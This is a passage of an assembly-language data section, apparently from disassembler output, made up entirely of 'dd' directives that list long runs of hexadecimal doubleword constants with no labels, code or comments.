		dd 55154202h, 0E9F477h,	0C08ED60Bh, 3B17A69Eh, 34106497h
		dd 16AF183Ch, 8DAF5623h, 0FF0486DBh, 6EF32012h,	403903BCh
		dd 0E49CF832h, 0F497FEBDh, 0CDB1E206h, 0E5971192h, 8BBA6D4Fh
		dd 2B98F06Ah, 0CE65552Ch, 0F64D754Bh, 0A932C51Bh, 1B502FEDh
		dd 0F9F233D0h, 61186546h, 735E37E6h, 0E64FEB0Ch, 0C07920E6h
		dd 0B0C53AF3h, 9ACB8FFBh, 33A1322Ch, 0A354A271h, 38CE0075h
		dd 9EA91657h, 48B218D1h, 63324D0Ch, 38B4A140h, 4506F554h
		dd 0EF3B2C5Eh, 0D19F2F65h, 1B4E6C9Ch, 0FDCB6E2Dh, 1D1A06FAh
		dd 0C1CB34ADh, 0DE55B41Ah, 38A38DBh, 0E47CC671h, 8EB243A4h
		dd 3E91B7C9h, 0BA056DAh, 16B04275h, 0F005E745h,	0B7E659FFh
		dd 0FD12DB39h, 43B5BD4Fh, 95BEE3CEh, 0E55912F4h, 600E9F25h
		dd 8B471150h, 9742A966h, 0F15AD6CAh, 59E8E247h,	4745ECADh
		dd 8B43AB4Dh, 395EE7F4h, 83F28445h, 900FA806h, 0BEACB813h
		dd 0A3E32E64h, 0A3ACEF71h, 0A780C94h, 0B8ED9ECFh, 0A5AE8959h
		dd 0A896E089h, 64164701h, 0A6ED61A8h, 0C17B65B3h, 1750201Ch
		dd 0EA478E90h, 495FAE5Fh, 5F81DB45h, 0ADA86A97h, 82943D5Fh
		dd 4DE74118h, 0E5EC6008h, 7662E80Eh, 0B357C054h, 4CC43CEAh
		dd 63199795h, 1BA15C8Ch, 149DBC8h, 9632F810h, 1758A7E8h
		dd 80E1C731h, 8391E2C6h, 0E5D054C9h, 0F8DA2A31h, 57A63B37h
		dd 7B29EDEFh, 0DF9852E4h, 5456CE7Eh, 0E22B5BF1h, 3BE517CCh
		dd 48FA705Ah, 0FD751A90h, 472AA2CFh, 22E34671h,	0A0BFE9A2h
		dd 9D5BEBBh, 21EA4DC0h,	87A39399h, 0FA0695F2h, 38008526h
		dd 5AAE3D8h, 21AD2568h,	1E60EB5Ch, 2D02FECBh, 28DCCF6h
		dd 0D7A006DEh, 43249E7h, 0F67CCD5Fh, 0A6E02A69h, 4BECD486h
		dd 60CD0F8Ah, 0A6BFCA0Dh, 0EA8DD0FDh, 0C608BFD6h, 0F20F3DA7h
		dd 9559793h, 2E2F3151h,	0F0D16E4Dh, 0CD02F491h,	8FC7BD79h
		dd 710368FDh, 9BC11EFCh, 47924B70h, 18E1522h, 895A322Dh
		dd 75E3EC41h, 0A77E1A3Bh, 55E7EDC4h, 6D40815Ah,	73AE3A69h
		dd 83B572ABh, 0A6C6B0EDh, 3973521Eh, 9C43B489h,	9C2D9A72h
		dd 8016D60Eh, 8D0837DAh, 0E7A34FE1h, 65B6A56Dh,	951B0C7Eh
		dd 0A834E0C2h, 0BA4192FBh, 0C4B8E9E3h, 5B0E2B1Dh, 0AA322AEAh
		dd 952C22EEh, 0D8329457h, 0C3AD1E6Bh, 198FA3A9h, 49F9B969h
		dd 9897B208h, 5602D64Eh, 6E05B424h, 82553AD3h, 0DBDC33EFh
		dd 0E2D75C3Ch, 546F9806h, 413D4B77h, 4E156AC4h,	0EAEE3724h
		dd 92BA7785h, 1D3199D9h, 0C702A48h, 911EBA7Ch, 47D8B0Ah
		dd 0CF45F20Dh, 0A2809135h, 0B01821A5h, 23128078h, 653E89Ch
		dd 0CAD20903h, 94E89E81h, 5B3C43C9h, 0E31CA7B0h, 78D3C00h
		dd 0B220676h, 3AEB36E8h, 5ED061D1h, 0AF639A95h,	4E009EDDh
		dd 9C2F4D6h, 0E19CD52Eh, 0A318E6EFh, 0F276D2F7h, 45CD7090h
		dd 1A9E0101h, 72B3C91Ch, 28830744h, 38AD3919h, 0F1859498h
		dd 986D6808h, 0CE6A430h, 0E2027323h, 329EDC7Fh,	0DF2871A8h
		dd 76611694h, 7591D573h, 0B02A3B3Dh, 95277E4Bh,	53D02823h
		dd 61539DB0h, 777E3A3Eh, 8D6C9C18h, 66EC50A6h, 0E971ADCh
		dd 6F17826Fh, 9BE9F166h, 6AD8009Fh, 0CDBF933Ch,	298C9242h
		dd 1BA12A2Ch, 5AE48277h, 67738FC4h, 93479B2h, 20D271Bh
		dd 220197AFh, 1F0B9A3Dh, 862BBD55h, 6A776FECh, 2BDF8995h
		dd 709CB590h, 489994F3h, 52712385h, 0C79BC70Dh,	961AA886h
		dd 0AD20766h, 2583ACB1h, 716DA43Ah, 3FC89AFAh, 6CA6CDEFh
		dd 0DDE7D5BEh, 5AE7A0Bh, 0A0F6CD79h, 0B06EAB67h, 2631897Ch
		dd 93032417h, 87B706E1h
		dd 7BC4B8E6h, 723380B4h, 2616AA91h, 0B11EFD2Dh,	79B6319Bh
		dd 18EB64D9h, 93EA376Eh, 1E34B83Ah, 0E9FAEADBh,	51AFBD92h
		dd 9663AB93h, 0C327A7DEh, 0E62BD500h, 73AD3351h, 99FAF6FFh
		dd 0D91F2B34h, 0C5061E98h, 0E1A94910h, 60F18320h, 8D50EC4Eh
		dd 2EB92098h, 6D296B50h, 3B0720EBh, 8BFD0B5Bh, 0F6F82026h
		dd 9AA4D6E2h, 0C3446DD4h, 0F7C09560h, 0EF528A15h, 0D0F4A796h
		dd 0DE2A974h, 4D3AF035h, 0D0300272h, 0E536FE6Bh, 6054808Dh
		dd 76F182E9h, 0F843A94Ah, 82AF11F8h, 0D94C5691h, 6F11D4BAh
		dd 6BED19FEh, 0EBC2EA47h, 5FD693BFh, 8B693CEh, 48D19E87h
		dd 0E83E9116h, 0E66966Bh, 0BDCA07DAh, 57416623h, 3B9714D0h
		dd 72C4FF4Eh, 87F51EF2h, 0FA350D55h, 3A377862h,	29C94DAAh
		dd 0E77B5544h, 3AE84216h, 2E7E6D71h, 4DB1C475h,	0F6B84ACBh
		dd 6B19E630h, 761188DBh, 554DC8B4h, 1F38E9D6h, 12DA58A0h
		dd 7020F17Dh, 80C09E3h,	0A2A14ACBh, 0A0B411F0h,	0B0286E62h
		dd 3E274817h, 0BBEA90AAh, 0F1462C0Ah, 0D535B791h, 1977FA73h
		dd 91057912h, 0FB7CCFCAh, 5E9C5FDDh, 2EB1D3EDh,	0DA699C90h
		dd 0FBB13BFh, 0DC8B8EA7h, 0ECF68985h, 7683A16Dh, 3BB5EEF9h
		dd 0ACAF44CAh, 7F44AFEEh, 0D1EB4D04h, 6A65773h,	0DE3EE6FBh
		dd 3E766913h, 0A7F899FFh, 427EBD1Ah, 8E6C8888h,	35F310D3h
		dd 92B43EB9h, 22FC78CAh, 0BA386878h, 24AABDFCh,	0E44304Fh
		dd 57D3B7F7h, 8EFAB0BAh, 0FA789098h, 0E3876EC9h, 396A7D26h
		dd 0ED070FDEh, 34D261DDh, 4FDCCE0Dh, 0C11824C0h, 12701330h
		dd 0C29BEA7Bh, 3BA4F6A1h, 0DD13738h, 0A47F5E95h, 493BEE2Ch
		dd 59DBDDE4h, 0CE58D5CDh, 0B593C029h, 0E92237F9h, 6FAEA31h
		dd 388439FFh, 4607306Bh, 61FD1790h, 23D26EC2h, 45EFBAEEh
		dd 317CA48Ah, 54B24744h, 61147620h, 0C4311F1h, 0E6CE6733h
		dd 7F512A0Fh, 41B2ECE7h, 0C28CDC0h, 395447C6h, 0FD04BF31h
		dd 0D04FA9EFh, 0D5C85615h, 0DC5E181Eh, 17C2D504h, 9EFA3E3Bh
		dd 0F4DDDD97h, 15CC8B64h, 26FFD5C9h, 23CF818Bh,	0AD8AD71Ah
		dd 16E7C6D6h, 0D761E1B9h, 1B86B3C0h, 2A08B6C7h,	0E576D499h
		dd 86D8404Dh, 0BE90C7E1h, 0A6269FF5h, 62D47F06h, 3A8D6F21h
		dd 0E3C028C0h, 213D7D6Eh, 0F7A2BFA0h, 460E9347h, 0D680A06Ah
		dd 339028B9h, 64456BF4h, 1C9F69D0h, 6F3EAD3Fh, 0E5285E35h
		dd 60BA19FDh, 4BEC0993h, 172E863Ah, 5AC954F6h, 8B714CB1h
		dd 0D57B25C9h, 5A0DFBFBh, 3165DAB9h, 0F044DCF7h, 108D6D96h
		dd 2A277C1Ah, 0D4E34969h, 64C6E69Fh, 8D94A7D4h,	0E52AF74Ch
		dd 5C9B760Dh, 200FBCB7h, 0F6AED0D4h, 0F4D308C2h, 0A24EF2AAh
		dd 0C753B64Eh, 0F52C07B6h, 0ABC5BD32h, 0E9EAA994h, 0F27D75AAh
		dd 6BB39785h, 20DC09D4h, 0BA21248Fh, 5D200F39h,	0EAD4FAB1h
		dd 0E73206C5h, 441F1228h, 0ACC98C2Ah, 0E202F5Bh, 78D9D1CBh
		dd 0FCC5C030h, 19F89923h, 3AD46CE4h, 916DC225h,	0A1D8F70Eh
		dd 3E20E65Bh, 1F5804Ah,	0B770D83h, 73EE1B29h, 0F3CE2D40h
		dd 81C8A9B4h, 0E4DE94ADh, 447641CEh, 0B9B3550Eh, 113F3134h
		dd 28759F10h, 0FDEE5ADAh, 0E1668AE1h, 0AA435BD6h, 0F7927C8Eh
		dd 0D8C066FEh, 565293A0h, 0FC8D29B2h, 0D6D4C659h, 2DFF9BD5h
		dd 0C8FA4A1Fh, 530DB77Dh, 8415EFA3h, 37684481h,	353A359Bh
		dd 0BDC2A434h, 61AE94D5h, 3CC0CB65h, 0BE3D5AF2h, 9F8BC6h
		dd 6A31D9EAh, 735E0942h, 2E7B2A1Eh, 3846F05Fh, 5580EBC1h
		dd 4F6202B5h, 0B10C600Eh, 5CDF3895h, 801C68BCh,	0C71750F1h
		dd 0AD592AF2h, 842B4C47h, 509ED89Ah, 0E0CED76h,	6E9F1EDh
		dd 0B52E2242h, 3455A81Dh, 0B25253FBh, 0A3765460h, 0A98B82A1h
		dd 52611751h, 81D85BF5h, 7CD05254h, 5E896FB0h, 8D50C5C4h
		dd 6BE98FF0h, 0F66C3E4Eh, 2C81876Ah, 9BE95993h,	7ADD4BDBh
		dd 0A5AC6ADh, 1373492Dh, 0BF0C9E1h, 776A111h, 0AB478241h
		dd 0D08837BEh, 936B8800h, 2F4EAFD6h, 0BA32E46Dh, 44C5804Eh
		dd 0BAF1975Ch, 444AF58Eh, 0DA5FF318h, 5A8F2A44h, 5719F628h
		dd 94A3FFA1h, 43A66DFBh, 5C6EAFB7h, 0CDA90D87h,	0F04A7E29h
		dd 3CCB585Dh, 0ACBFC501h, 643FAFA5h, 444EF65Fh,	540FE860h
		dd 0A06D1989h, 42DC0B39h, 917D91F1h, 249E6483h,	0F005CA0Dh
		dd 71F3CB8Bh, 2DAB76B4h, 0A5178394h, 45D223D0h,	0C0A826F5h
		dd 0F769FCA7h, 9E5B2272h, 3F26E028h, 0BCE9EA1Eh, 0BE36D1F6h
		dd 0F728D75Ah, 62DA0DE3h, 20A511BDh, 0E9824293h, 0E227D6BDh
		dd 7A00CBE4h, 92F427D6h, 0F1309299h, 0F1B0BFEEh, 20DB7258h
		dd 66B2DAD3h, 0F1293492h, 342E4B01h, 0FBC0AC9Eh, 0BCEA9C5Bh
		dd 0F49D91BEh, 7875FCA1h, 66BB6182h, 0C4A24F74h, 3CC3F058h
		dd 9BE25AC8h, 0D8EB728h, 0A332DCBEh, 4E97B49Dh,	0B6427D24h
		dd 75959656h, 53C4AED2h, 23BAC01Dh, 9E38EB64h, 53D87448h
		dd 19C0A10Fh, 0E944E4A5h, 0A89D5692h, 0D7B057FFh, 0D3608FC8h
		dd 19F96BDBh, 0DAB39D45h, 2B2D33C4h, 0CC2D8911h, 415FC2DDh
		dd 0F5ED2160h, 318FAB52h, 5AB36FD5h, 0C96D50Bh,	6CE4BD26h
		dd 704EFC26h, 0E23C8043h, 0B34D91EDh, 2D64A0D9h, 34938374h
		dd 0A95BF895h, 3DBC9D58h, 1ACD1B13h, 1F67F1E4h,	1B3FA6C1h
		dd 2E4C51DFh, 713FCA77h, 0A70EB39Bh, 46F4E95Fh,	0B3365C4Fh
		dd 406931A4h, 63F039E2h, 0B2498A3Fh, 0DE002EE6h, 58C6368Ch
		dd 39722020h, 935280E0h, 0ABE13CF1h, 0ADDA7753h, 45D0359Dh
		dd 0F4C8A201h, 0E58C3DDFh, 0F48B6C07h, 0C9F77A7Bh, 796EBC6Fh
		dd 1603EC7Fh, 7677356Ah, 0CEDF1A0Eh, 2E7162DDh,	0A284B412h
		dd 0F6EDB964h, 82BD5F96h, 73ADEA8Ch, 8DA76123h,	688AC365h
		dd 7A5874E2h, 12DAF99Fh, 0CEA9C5C0h, 0D1A60C4Eh, 0F35E790h
		dd 87F93FEh, 0D24B4771h, 7DB3609Dh, 659280B5h, 0E3AC909Ah
		dd 95BE7EFAh, 414179B8h, 50290338h, 0F5FA6E4h, 30D5A400h
		dd 24ECC7E8h, 0E9824507h, 2FDBEF26h, 0E83EDFDEh, 173B2AFCh
		dd 26685B2Eh, 16C13DD6h, 2937D51Ah, 0B111229Bh,	158CD056h
		dd 6CC904Dh, 4882390Fh,	89D313B7h, 0B5F8C794h, 0C3E179A5h
		dd 0A56646C5h, 5A098705h, 0B152B2EEh, 7A01963Bh, 0CF774236h
		dd 0EEBD8ECCh, 0C00AF068h, 2821A8FDh, 0A3522B90h, 0FF19CC6Eh
		dd 107C4114h, 77A8B3C7h, 50EB8E09h, 3259A0ACh, 0F9BA0051h
		dd 78F99112h, 0FAB811FBh, 206ABAF7h, 54FEC98Bh,	0A337ECD5h
		dd 0C020AAC7h, 0CFB2BA78h, 38134DB4h, 6D9A7CD6h, 0D068834Ch
		dd 0C35CE999h, 70F8410Fh, 445A1F45h, 32F8EAF1h,	0ECC7074Ch
		dd 0A99248Fh, 73BCFBB5h, 68513E73h, 1578591h, 7EEEB0DFh
		dd 3202AC5Eh, 333C114Ch, 0D57CFD81h, 68DE79EFh,	983E09EBh
		dd 0CDA171D6h, 95465678h, 8C507C83h, 7EF97548h,	84246844h
		dd 2C24FA04h, 483C9638h, 604E44DDh, 0ED0A76ECh,	9F7D9A7h
		dd 637C8D8Eh, 0FCBE7360h, 86336299h, 265F3525h,	0AD840A69h
		dd 6DFE6A0h, 3F2EA8E5h,	954C8D34h, 0EFD2DE13h, 0F72A710Dh
		dd 4EEFF9C6h, 0AB829142h, 99639A22h, 7F12454Ah,	4C3A50BCh
		dd 672E60C1h, 37FE7F14h, 5641D1ECh, 519693B4h, 244AB4B9h
		dd 360E1217h, 0A7C07D7Ah, 78DE9FE2h, 0DD00364Ah, 0AD21A9E1h
		dd 3F7BC7BBh, 4939E428h, 28E52C4Dh, 0E0F1DC87h,	322A1873h
		dd 4B8121CEh, 0A18A9DEDh, 17A01F83h, 0BFC7DE30h, 529A4EF6h
		dd 21C551A1h, 3770C29Bh, 803F111Fh, 82077Eh, 0D5C0B36h
		dd 44A8E44Dh, 0AD6BF511h
		dd 66FA136Dh, 0FF917F26h, 0E1EB86F2h, 73A1AD8Ch, 0DD7D83A1h
		dd 0C49624A8h, 0EC3A5C61h, 77F993E4h, 2562CC92h, 0A8046755h
		dd 59C7A9C1h, 3A96057Eh, 0B465B693h, 2FF65A5Ah,	0C5617456h
		dd 0AC33D173h, 67C2027Fh, 0AF17F6C8h, 8DE7E657h, 0EED91A7Ch
		dd 0F8EE5F39h, 23D68344h, 8609CCBEh, 96646DA7h,	0FB6A7B4Ch
		dd 69A490C1h, 254E7D23h, 0AE1B9EA3h, 0F139D1C5h, 2DEB0FD8h
		dd 5886D27h, 2BC57223h,	18D9D8CAh, 990E78B8h, 0ADE4E9Ch
		dd 0C54B1AFFh, 5E5A7A7Fh, 89F53A87h, 7E535521h,	65CED0FCh
		dd 0CA03331Fh, 0A224C11Dh, 73861426h, 2AE313FEh, 0D54A793Bh
		dd 600ABF25h, 6EFE5BCDh, 0D0C27D0Ah, 0E1F1A50Dh, 0BB16C4D4h
		dd 7B1A5005h, 22BC528Bh, 8B8CD241h, 0D668AF3Ch,	2D21C52Dh
		dd 960A43BDh, 0D3A82933h, 4010D518h, 0A332CD0Dh, 95164AB4h
		dd 0BFE92274h, 0EC863684h, 7E27836Ah, 68643109h, 0B22EF8Fh
		dd 69AC1B2h, 7CEC715Fh,	0F97E958Bh, 7740FD2Bh, 3EA4E0A7h
		dd 5AFFA927h, 7613A674h, 0FA565FD7h, 819A5F20h,	0EFD1350Eh
		dd 58CBCB8Dh, 88808CA1h, 3FE1C305h, 0E36A4438h,	86FE809Ch
		dd 1D4006F0h, 84F0ABEAh, 0A7D6F32Eh, 9F791B4h, 69C4A56h
		dd 0E4F6BFC3h, 26FACC36h, 0F8EEA44Eh, 301D1B42h, 0AFC08AE9h
		dd 99890C66h, 0C7945B4Dh, 5921D2F5h, 42ABC686h,	0C79E6A8Fh
		dd 6A15D703h, 0E73D680Fh, 0EFA2FC85h, 9BC55EEFh, 0C44AC794h
		dd 71B8EE1Ah, 1E25526Bh, 52F4F2EDh, 95909BDDh, 5E9A7F43h
		dd 2E8B0BCFh, 44B6164Ch, 608BDD7Dh, 0A0472A4Ah,	0D2CB8E4Ah
		dd 18ABA280h, 0ED16E479h, 0AA645FD5h, 9AE99A4Bh, 0DC10E5C6h
		dd 38800C1Dh, 123DC972h, 22623930h, 0B6902D43h,	0C881F004h
		dd 0E0C619F2h, 65BE5E9Bh, 6E4D1C9Dh, 3F540B57h,	3B388DF3h
		dd 82AD151Bh, 43DABF41h, 0F30CD5DEh, 14B849FBh,	0BE1C6DD1h
		dd 8CB51CBBh, 0AE3DA9D3h, 6B93A0B5h, 0C27D2D1Bh, 0E24C2D2Eh
		dd 57EE4938h, 0E341CBD2h, 0F7456FC0h, 40A2D2CEh, 0ADEEF3E0h
		dd 809AB433h, 0E1CE3FB2h, 5E4E1E57h, 55989EB1h,	5BFDB593h
		dd 0C7FEFDADh, 566ED673h, 9AB1AA1Bh, 8BE4605Ch,	0BBDFCF9Bh
		dd 10939EE7h, 0FDF56073h, 0AD6DD998h, 0E6F80A11h, 472D202Fh
		dd 0BF02B73Ch, 3A5D9E1Eh, 0C4CB4B97h, 0EE1CA422h, 0FCFCEFA7h
		dd 9917901h, 227E7361h,	3A079F5Ch, 99C27E8Ah, 0E21686ACh
		dd 0C13E8FFDh, 27B514A9h, 0FEE6A06h, 93B01ED9h,	0E0E5691Eh
		dd 174A08Ch, 0DFBFC89Fh, 0DFE283E6h, 659D4CA7h,	97112A37h
		dd 53AEBD35h, 0D1CA76Fh, 0CE92FD3Eh, 22CD0538h,	0E06D4BEAh
		dd 0FA05F5ABh, 888ADBF1h, 0CABD040Fh, 0D060792Fh, 0BE39F09Bh
		dd 54AAF0BAh, 0E58856BAh, 3454EB92h, 53E42C53h,	6E9F1D39h
		dd 195B8822h, 0A0436A73h, 840C3A81h, 0A5DE0A7Ch, 0D5521FB1h
		dd 0E68500E5h, 4BB6F287h, 0F8832E49h, 0A7924A6Bh, 40F2745Fh
		dd 36CED7ADh, 0BA39D819h, 9240C5FCh, 324A1DF2h,	727A8AB0h
		dd 0E51CB01Dh, 3A1ECD8Bh, 27DE496Ch, 0D40328C6h, 0B6906C92h
		dd 0D47577C4h, 7FBEB638h, 0CE0F4201h, 3BB287BDh, 0A54945C2h
		dd 359D37A7h, 0B4EE0474h, 4A10BBDFh, 0B1A24D99h, 0C1514CDCh
		dd 0BB2146h, 1CF278F2h,	0FA4496F2h, 7631EB85h, 74FADE15h
		dd 7481CBA0h, 3CB39913h, 63EA3AD7h, 104BBDB8h, 0BDC85005h
		dd 0F0ECE8FFh, 38250F74h, 0A9DA0D8h, 0F0FF6D9Dh, 1AADE171h
		dd 6EF21194h, 730E6DABh, 5DDA1B82h, 300D7484h, 37A15930h
		dd 922E7063h, 0A30534D7h, 0CEBD292Dh, 0B450F5DEh, 11AC5C0Ah
		dd 5963CCE0h, 146A41D9h, 316CF24Eh, 452BECA1h, 0D85827A5h
		dd 297F3868h, 8537C614h, 3D177F70h, 27A0E8C4h, 82DBFE5Ah
		dd 60C27143h, 4C3E4CEFh, 6769FCD5h, 0CE1A3387h,	0D762186Eh
		dd 47D3B046h, 9164E7D9h, 590495C2h, 91C64143h, 844F9DFh
		dd 0C2908582h, 966B69Ch, 0C760EBD8h, 686A5FEDh,	898E9A47h
		dd 0BDF2AD45h, 0C43B9235h, 0DD0763C1h, 0F7EEC88Fh, 7C4F15Eh
		dd 0BAE77399h, 11791DB4h, 81A1DDEDh, 3464AD16h,	0BDB1FC6Ah
		dd 0C5857F62h, 0ABB80C2Dh, 292AF52Ch, 0DBD9C13Bh, 0C940CED0h
		dd 0F06E9E9Eh, 0CE319EBCh, 0CEF80EBCh, 59EF82C9h, 34084538h
		dd 0F94949BEh, 0EF59BD78h, 2A4146BAh, 7442BCF0h, 0EC0E310Dh
		dd 92A18281h, 0D685F956h, 0F092A1F2h, 0F6A12D1Eh, 4BE79B01h
		dd 32FCB588h, 7149C7A4h, 0F290678h, 0B5502367h,	51582A1Fh
		dd 808ADD33h, 3A1E3FBAh, 0EC39B1C2h, 18989D0Ch,	8A466F06h
		dd 2AC52B2Fh, 347D0365h, 6A0CF8B9h, 46EC6C20h, 67145F30h
		dd 4791C6A2h, 781C8006h, 61AA8FBCh, 0AE90C03Bh,	8C0AFAC9h
		dd 0C6F687CDh, 29E50DBEh, 0ADFA5ACCh, 0DDAEA5BFh, 0CA2AB0D1h
		dd 0C05FA6Eh, 0B3B294FFh, 0BB53F23Dh, 0DBC76A52h, 3972EC9Eh
		dd 75B97E44h, 30FB6422h, 0A5DD6EC5h, 0EBC5BD59h, 5A582BAAh
		dd 0BEF96628h, 1A812B40h, 72222CD2h, 57240572h,	208B3489h
		dd 218EA739h, 0BFC0C861h, 8D6FE6E0h, 1305887h, 575394DEh
		dd 8E348900h, 149F725Dh, 1DEC8FD1h, 71DDE161h, 6F8AE6DCh
		dd 90D46E08h, 2CBB908Ch, 4B03E145h, 216E9E56h, 0D5FAE58Dh
		dd 9E212BC1h, 0DF9696CAh, 997D2C8Bh, 0D7B460FEh, 28FDF7F0h
		dd 92DC281Eh, 33BCC113h, 2D302E31h, 0FE4F6F76h,	0E0177D2h
		dd 9C40C664h, 0F13DFAFDh, 7B7BC061h, 2744A089h,	0CC3C3F7Ah
		dd 657275BBh, 0F1326AA1h, 83499D1h, 0E5B5E1F0h,	0D498A622h
		dd 0C1F8002Bh, 0BA685896h, 0C6293B0Ah, 1FDFA11Ch, 0D7BE308h
		dd 416ED7B6h, 5804814Ch, 15C2FDFDh, 0CD78B638h,	0BAAFF2C0h
		dd 0A042BD46h, 17D3F998h, 0B5F9337Dh, 71730245h, 0C0ECEDF3h
		dd 0D0348B8Dh, 4B4E9844h, 5AFB993Eh, 0D524C54Fh, 6440254Fh
		dd 0EA55719Dh, 7068F230h, 9C070989h, 0D2E56888h, 91982477h
		dd 0CD7B7DF6h, 0C4404F8Bh, 9ACD4188h, 4B046D2Ch, 8C03EF55h
		dd 1F83B9FCh, 1C58FA80h, 0FC2C60C4h, 337B60F2h,	5C9AD2D5h
		dd 0BBAE44Dh, 0ECE74A18h, 6A932B6Fh, 0B781CD8Dh, 0D1EF85CEh
		dd 6AD83B0h, 3EC635E8h,	8F399170h, 50627749h, 94A5DA28h
		dd 6E8DAF71h, 18F79B47h, 3EFDDB17h, 442B6A7Ch, 0A39D1254h
		dd 0F0EE025Fh, 0C7B41619h, 321C3DBCh, 0F66096AAh, 996A1987h
		dd 79E45585h, 0D8FC4B07h, 70FE2D1Ah, 1014D577h,	66BE8281h
		dd 0B1251B33h, 45C93B1Ah, 0F9DE8035h, 0D989F887h, 0EE2E654h
		dd 1B50DB19h, 41B702E5h, 0AD24A001h, 72416228h,	9C747004h
		dd 7EDC0628h, 71EF1142h, 0F0BB7375h, 54AAFA75h,	7CBC749Bh
		dd 1891FB09h, 951C75CFh, 0A7CF0A60h, 0DFA59B05h, 8544416h
		dd 5AFB4DCBh, 0CC04BAE7h, 0EF83AC23h, 69CC9178h, 0B019C4E0h
		dd 4A76BDCCh, 0D92F5377h, 8D731F28h, 0C3CB8F01h, 25CA61EFh
		dd 7EB57C2Ch, 0FEBA4CBh, 208C1880h, 3C1EE0BEh, 0B0CC6E36h
		dd 0A100770Eh, 69D24249h, 9198E820h, 61C1143h, 0D03DC71Bh
		dd 0EBD65B59h, 0BF63A8BBh, 100CCF94h, 0BC650E95h, 6AB554A0h
		dd 0FFA468AAh, 55D9428Bh, 0A6FDF6CDh, 95B71E0Ah, 70B781F5h
		dd 695AE006h, 7E93DBA3h, 9BEE6B67h, 0F5971267h,	2F88929Dh
		dd 0BA90437h, 17CFDD53h, 6EF4964Fh, 8D49300Bh, 0F00D91B5h
		dd 8C0D5342h, 1EC33694h, 1A2016F6h, 0C08D7E09h,	9D0E95D4h
		dd 0CB6598E6h, 9DCFC87Ch, 2B8A2470h, 0DD729F98h, 30A24E61h
		dd 6100DBD3h, 7B8F6BC0h, 0C3FA5C48h, 0BEF28314h, 0B6884870h
		dd 8B49245Ch, 0CECC029Bh
		dd 325750A7h, 3A055569h, 7AD886D0h, 3E9745D1h, 0A06F36ADh
		dd 0C0F893CDh, 0FF2EB93h, 0DBA7C1A9h, 0D3495BA5h, 0B0F1988h
		dd 73D5E195h, 132C14ACh, 0D6E7B2EDh, 8CFD6A4h, 200EF03Ah
		dd 0DB811433h, 6810156h, 37DA6274h, 13C8E5EAh, 1799D4BAh
		dd 91390664h, 0E9F9E508h, 87BF03BDh, 964709CCh,	0DA8AEB64h
		dd 0D159A5ECh, 332A8449h, 30794BFAh, 800FB645h,	1F4DE265h
		dd 8506C2D0h, 0B560DD2Ah, 0F290D90Ch, 0D48C72AAh, 11ED15BCh
		dd 0E2B3763h, 0B38A9DB4h, 2B081842h, 69156444h,	0BE00F9EDh
		dd 0AA1AFBE6h, 7EDB8445h, 0D4FA71F2h, 0D32FB441h, 0E39E6DF2h
		dd 9AE814FDh, 8B3894E5h, 0A16836B9h, 0B1C5A673h, 2817B953h
		dd 73702DBDh, 401247F4h, 75370BE9h, 19DB7A13h, 0A69755E0h
		dd 0B9C1FF0Ah, 5631F081h, 211D4806h, 0AE56F0EBh, 0F69D19CCh
		dd 786ABF62h, 94E943F7h, 0D5F2617Ah, 2B9F92AAh,	53365605h
		dd 549CF071h, 0F15BADFh, 0A62B47CEh, 19B710D1h,	0F58AA677h
		dd 2F8EDB56h, 0A2A046D4h, 3F27CF83h, 8CD05407h,	0B3F3AA0Ah
		dd 0E0383BCDh, 706C6CBDh, 88E1AC89h, 0C26F36AFh, 96C96EEEh
		dd 1FA9C33Ah, 0D5E30F28h, 9D960CF9h, 79801739h,	0AB57444Bh
		dd 7FB437B2h, 0D5B00572h, 0AAEF2FAFh, 58B43BA2h, 0BFE2E969h
		dd 16E7C0D6h, 271F8648h, 804386A9h, 5A22B283h, 6AB52E90h
		dd 0AA539137h, 9C7B9D12h, 0DEF85766h, 6E05F944h, 7193A6EAh
		dd 0CA0E3C60h, 48394F12h, 0EFE77C5Dh, 3BFAFCB8h, 0F99A2AC7h
		dd 8C72D0A2h, 0DD19BA14h, 3A542621h, 7CDDCC84h,	0F5F9C210h
		dd 0BEA86B5Dh, 525B67FDh, 0D14AA56Dh, 0A31BD97Ch, 3043B0A0h
		dd 4775AFCFh, 333B44C0h, 82263A90h, 61F1F575h, 0F613BA62h
		dd 5F25B3ADh, 71A17615h, 9FD39810h, 0C3EE656Fh,	6085D9h
		dd 4016A91Fh, 0D24659F9h, 70053141h, 0F973AF1h,	0F155AC52h
		dd 0DF25CDF1h, 6CECAACAh, 0B90C0768h, 59BE7831h, 148FF32Ah
		dd 0FCE39DECh, 9EA9265Ch, 5694B659h, 1F24BD37h,	2981083Ah
		dd 182028ACh, 4F496A01h, 38D1CA68h, 9E40CA81h, 0D7A606B1h
		dd 0B174D25Ah, 5F9DD1B6h, 95B29F0Eh, 27D0382Dh,	0D55F4B1Ah
		dd 9234DC56h, 0E68C9668h, 1673B2DBh, 2F1F3A35h,	4EBB07B7h
		dd 18D28CDAh, 1F462258h, 0C1C7FF0Ch, 0B9233A89h, 77E5AB71h
		dd 0CA0420B6h, 0A2663649h, 0E98A2456h, 9AD490ABh, 0E9CE8FFBh
		dd 89E7F2F6h, 0FC0027CDh, 6E5CD3ADh, 0E37A4862h, 0A9EFC722h
		dd 0AB0E00B6h, 42B40376h, 2FD46E8Eh, 6373E432h,	6B51693Bh
		dd 0A883966Ch, 16455CA4h, 9CEE5821h, 3F529D1Eh,	60E892BAh
		dd 771F2E26h, 767ACD2h,	5B4B09E2h, 86BA9500h, 147C3A17h
		dd 682FA363h, 7C2B719Ah, 43580C5h, 1E9C7513h, 0D970A28Dh
		dd 0F18357FAh, 8D193197h, 0EEFC7868h, 7976B0DBh, 1B41AF06h
		dd 745B327Fh, 0B446BFBBh, 1BDE848h, 7712A41Ah, 708D6D8Bh
		dd 7CE8CDAAh, 71B7ACD9h, 8754C6FBh, 8839E8C4h, 0D2A711B3h
		dd 2E82CEB6h, 6DC03A2Ah, 6A88DB85h, 51A2F019h, 32FB90AFh
		dd 1B50C78Ah, 0A10143D8h, 82BFA448h, 3D9EE0ABh,	0AEA6D68Dh
		dd 0B32D7E72h, 78A18ABh, 8ED18E4Bh, 0E8C1A289h,	0D16682FBh
		dd 72BA584Eh, 9C31A719h, 14D93244h, 0D756DB98h,	0D271620Bh
		dd 83BEF327h, 0E3A896EDh, 1D45BB89h, 0C89EBCC1h, 0ECC0817Ch
		dd 4FFFBA9Bh, 0AE263EB4h, 0A54701EFh, 0D5CB8A63h, 6F49A585h
		dd 8E99ECEAh, 44534ED5h, 0BBAFC5A9h, 2430F17Eh,	4A45CE0Bh
